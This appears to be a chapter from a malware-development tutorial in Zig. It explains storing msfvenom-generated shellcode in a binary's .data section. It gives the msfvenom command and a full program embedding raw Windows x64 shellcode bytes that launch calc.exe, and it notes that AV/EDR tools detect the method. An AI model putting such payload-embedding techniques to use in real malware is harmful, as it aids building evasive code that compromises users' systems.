Skip to content

.data Section

TL;DR

See the code example

The .data section contains global variables that are readable and writable. Placing shellcode here is the simplest approach—declare a mutable array with the payload bytes. At runtime the code can reference this array directly, but it is also easily spotted during static analysis. Security tools often check the .data section for suspicious byte sequences. This chapter illustrates the basic method of embedding shellcode in .data and highlights why it may be detected quickly.

What Is Payload?

To execute the malicious code, we must load the malicious stuff into the binary somehow. And this malicious stuff, is the so called "payload" or "shellcode".

We'll use the payload generated by MSFvenom for every examples in "Payload Placement". You can copy and paste the following command to generate the payload first. But since it's generated in C array format, I'll recommend you just copy and paste the corresponding payload in my code, which is already translated from C array to Zig array by AI.

msfvenom -p windows/x64/exec CMD=calc.exe -f c

Sections

For those who visited this project, I'll assume you already know what is "section" and know the basics of the following common sections.

  • .bss section
    • Uninitialized global variables
  • .data section
    • Initialized global variables
  • .rdata section
    • Read-only data (strings, vtable, etc)
  • .text section
    • Code segment, stores machine codes
  • .rsrc section
    • Resource section, only exists on Windows. It often stores graph, icon, etc

For more details: Special Sections - MSDN.

Code Walkthrough

In this chapter, I will show you how to store out payload into .data section.

main.zig
const std = @import("std");
const print = std.debug.print;

// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .data saved payload (var data goes to .data section in Zig)
var data_section_payload = [_]u8{
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};

/// Helper function to wait for Enter key
/// Similar usage as `getchar()` in C
fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

pub fn main() !void {
    print("[i] Payload address: 0x{X} \n", .{@intFromPtr(&data_section_payload)});
    print("[i] Data size: {d} bytes\n", .{data_section_payload.len});
    print("[i] Payload stored in .data section (read-write)\n", .{});
    print("[#] Press <Enter> To Quit ...", .{});
    waitForEnter();
}

Actually, it's easy to put the payload in .data section, just declare a global var and that's it! Although it's simple, it's also easy for malware analyst and reverse engineer to notice that. And it hash high possibility to be detected for most of the AV/EDR.